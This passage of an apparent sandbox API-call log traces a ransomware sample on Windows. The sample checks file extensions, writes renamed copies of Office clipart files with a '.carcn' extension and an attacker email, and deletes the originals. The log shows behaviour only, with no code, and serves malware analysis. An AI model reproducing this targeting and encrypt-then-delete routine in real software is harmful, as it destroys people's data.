lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.378] lstrlenW (lpString=".xlsx") returned 5 [0296.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.378] lstrlenW (lpString=".ppt") returned 4 [0296.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.378] lstrlenW (lpString=".zip") returned 4 [0296.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.378] lstrlenW (lpString=".rar") returned 4 [0296.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.378] lstrlenW (lpString=".bz2") returned 4 [0296.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.378] lstrlenW (lpString=".7z") returned 3 [0296.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.378] lstrlenW (lpString=".dbf") returned 4 [0296.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.378] lstrlenW (lpString=".1cd") returned 4 [0296.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.379] lstrlenW (lpString=".jpg") returned 4 [0296.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.379] lstrlenW (lpString=".doc") returned 4 [0296.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.379] lstrlenW (lpString=".docx") returned 5 [0296.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.379] lstrlenW (lpString=".pdf") returned 4 [0296.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.379] lstrlenW (lpString=".xls") returned 4 [0296.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.379] lstrlenW (lpString=".xlsx") returned 5 [0296.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.400] lstrlenW (lpString=".ppt") returned 4 [0296.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.400] lstrlenW (lpString=".zip") returned 4 [0296.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.400] lstrlenW (lpString=".rar") returned 4 [0296.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.400] lstrlenW (lpString=".bz2") returned 4 [0296.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.400] lstrlenW (lpString=".7z") returned 3 [0296.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.400] lstrlenW (lpString=".dbf") returned 4 [0296.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.400] lstrlenW (lpString=".1cd") returned 4 [0296.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.400] lstrlenW (lpString=".jpg") returned 4 [0296.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.400] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.400] lstrlenW (lpString="BL00008_.WMF") returned 12 [0296.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0296.401] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=12520) returned 1 [0296.401] CloseHandle (hObject=0x350) returned 1 [0296.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0296.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0296.402] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.402] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0296.402] GetLastError () returned 0x0 [0296.402] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x30e8, lpOverlapped=0x0) returned 1 [0296.404] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x30f0, lpOverlapped=0x0) returned 1 [0296.405] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.405] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.405] SetEndOfFile (hFile=0x34c) returned 1 [0296.405] CloseHandle (hObject=0x34c) returned 1 [0296.405] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.406] SetEndOfFile (hFile=0x350) returned 1 [0296.406] CloseHandle (hObject=0x350) returned 1 [0296.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0296.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.407] lstrlenW (lpString=".doc") returned 4 [0296.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.407] lstrlenW (lpString=".docx") returned 5 [0296.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.407] lstrlenW (lpString=".pdf") returned 4 [0296.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.408] lstrlenW (lpString=".xls") returned 4 [0296.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.408] lstrlenW (lpString=".xlsx") returned 5 [0296.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.408] lstrlenW (lpString=".ppt") returned 4 [0296.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.408] lstrlenW (lpString=".zip") returned 4 [0296.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.408] lstrlenW (lpString=".rar") returned 4 [0296.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.408] lstrlenW (lpString=".bz2") returned 4 [0296.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.408] lstrlenW (lpString=".7z") returned 3 [0296.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.408] lstrlenW (lpString=".dbf") returned 4 [0296.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.408] lstrlenW (lpString=".1cd") returned 4 [0296.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.408] lstrlenW (lpString=".jpg") returned 4 [0296.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.408] lstrlenW (lpString=".doc") returned 4 [0296.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.408] lstrlenW (lpString=".docx") returned 5 [0296.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.408] lstrlenW (lpString=".pdf") returned 4 [0296.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.409] lstrlenW (lpString=".xls") returned 4 [0296.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.409] lstrlenW (lpString=".xlsx") returned 5 [0296.409] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.409] lstrlenW (lpString=".ppt") returned 4 [0296.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.409] lstrlenW (lpString=".zip") returned 4 [0296.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.409] lstrlenW (lpString=".rar") returned 4 [0296.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.409] lstrlenW (lpString=".bz2") returned 4 [0296.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.409] lstrlenW (lpString=".7z") returned 3 [0296.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.409] lstrlenW (lpString=".dbf") returned 4 [0296.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.409] lstrlenW (lpString=".1cd") returned 4 [0296.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0296.410] lstrlenW (lpString=".jpg") returned 4 [0296.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.410] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.410] lstrlenW (lpString="BL00012_.WMF") returned 12 [0296.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0296.410] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=9818) returned 1 [0296.410] CloseHandle (hObject=0x350) returned 1 [0296.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0296.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0296.411] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.411] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0296.411] GetLastError () returned 0x0 [0296.411] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x265a, lpOverlapped=0x0) returned 1 [0296.413] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2660, lpOverlapped=0x0) returned 1 [0296.414] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.414] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.414] SetEndOfFile (hFile=0x34c) returned 1 [0296.432] CloseHandle (hObject=0x34c) returned 1 [0296.432] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.432] SetEndOfFile (hFile=0x350) returned 1 [0296.433] CloseHandle (hObject=0x350) returned 1 [0296.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0296.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.434] lstrlenW (lpString=".doc") returned 4 [0296.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.434] lstrlenW (lpString=".docx") returned 5 [0296.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.434] lstrlenW (lpString=".pdf") returned 4 [0296.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.434] lstrlenW (lpString=".xls") returned 4 [0296.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.434] lstrlenW (lpString=".xlsx") returned 5 [0296.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.434] lstrlenW (lpString=".ppt") returned 4 [0296.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.435] lstrlenW (lpString=".zip") returned 4 [0296.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.435] lstrlenW (lpString=".rar") returned 4 [0296.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.435] lstrlenW (lpString=".bz2") returned 4 [0296.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.435] lstrlenW (lpString=".7z") returned 3 [0296.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.435] lstrlenW (lpString=".dbf") returned 4 [0296.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.435] lstrlenW (lpString=".1cd") returned 4 [0296.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.435] lstrlenW (lpString=".jpg") returned 4 [0296.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.435] lstrlenW (lpString=".doc") returned 4 [0296.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.435] lstrlenW (lpString=".docx") returned 5 [0296.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.435] lstrlenW (lpString=".pdf") returned 4 [0296.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.435] lstrlenW (lpString=".xls") returned 4 [0296.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.436] lstrlenW (lpString=".xlsx") returned 5 [0296.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.436] lstrlenW (lpString=".ppt") returned 4 [0296.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.436] lstrlenW (lpString=".zip") returned 4 [0296.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.436] lstrlenW (lpString=".rar") returned 4 [0296.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.436] lstrlenW (lpString=".bz2") returned 4 [0296.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.436] lstrlenW (lpString=".7z") returned 3 [0296.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.436] lstrlenW (lpString=".dbf") returned 4 [0296.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.436] lstrlenW (lpString=".1cd") returned 4 [0296.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0296.436] lstrlenW (lpString=".jpg") returned 4 [0296.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.436] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.437] lstrlenW (lpString="BL00045_.WMF") returned 12 [0296.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0296.437] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=7862) returned 1 [0296.437] CloseHandle (hObject=0x350) returned 1 [0296.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0296.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0296.437] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.438] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0296.438] GetLastError () returned 0x0 [0296.438] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0296.439] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0296.442] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.442] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.442] SetEndOfFile (hFile=0x34c) returned 1 [0296.442] CloseHandle (hObject=0x34c) returned 1 [0296.442] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.442] SetEndOfFile (hFile=0x350) returned 1 [0296.443] CloseHandle (hObject=0x350) returned 1 [0296.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0296.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0296.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0296.445] lstrlenW (lpString=".doc") returned 4 [0296.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.445] lstrlenW (lpString=".docx") returned 5 [0296.445] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.445] lstrlenW (lpString=".pdf") returned 4 [0296.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.445] lstrlenW (lpString=".xls") returned 4 [0296.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.445] lstrlenW (lpString=".xlsx") returned 5 [0296.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.445] lstrlenW (lpString=".ppt") returned 4 [0296.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 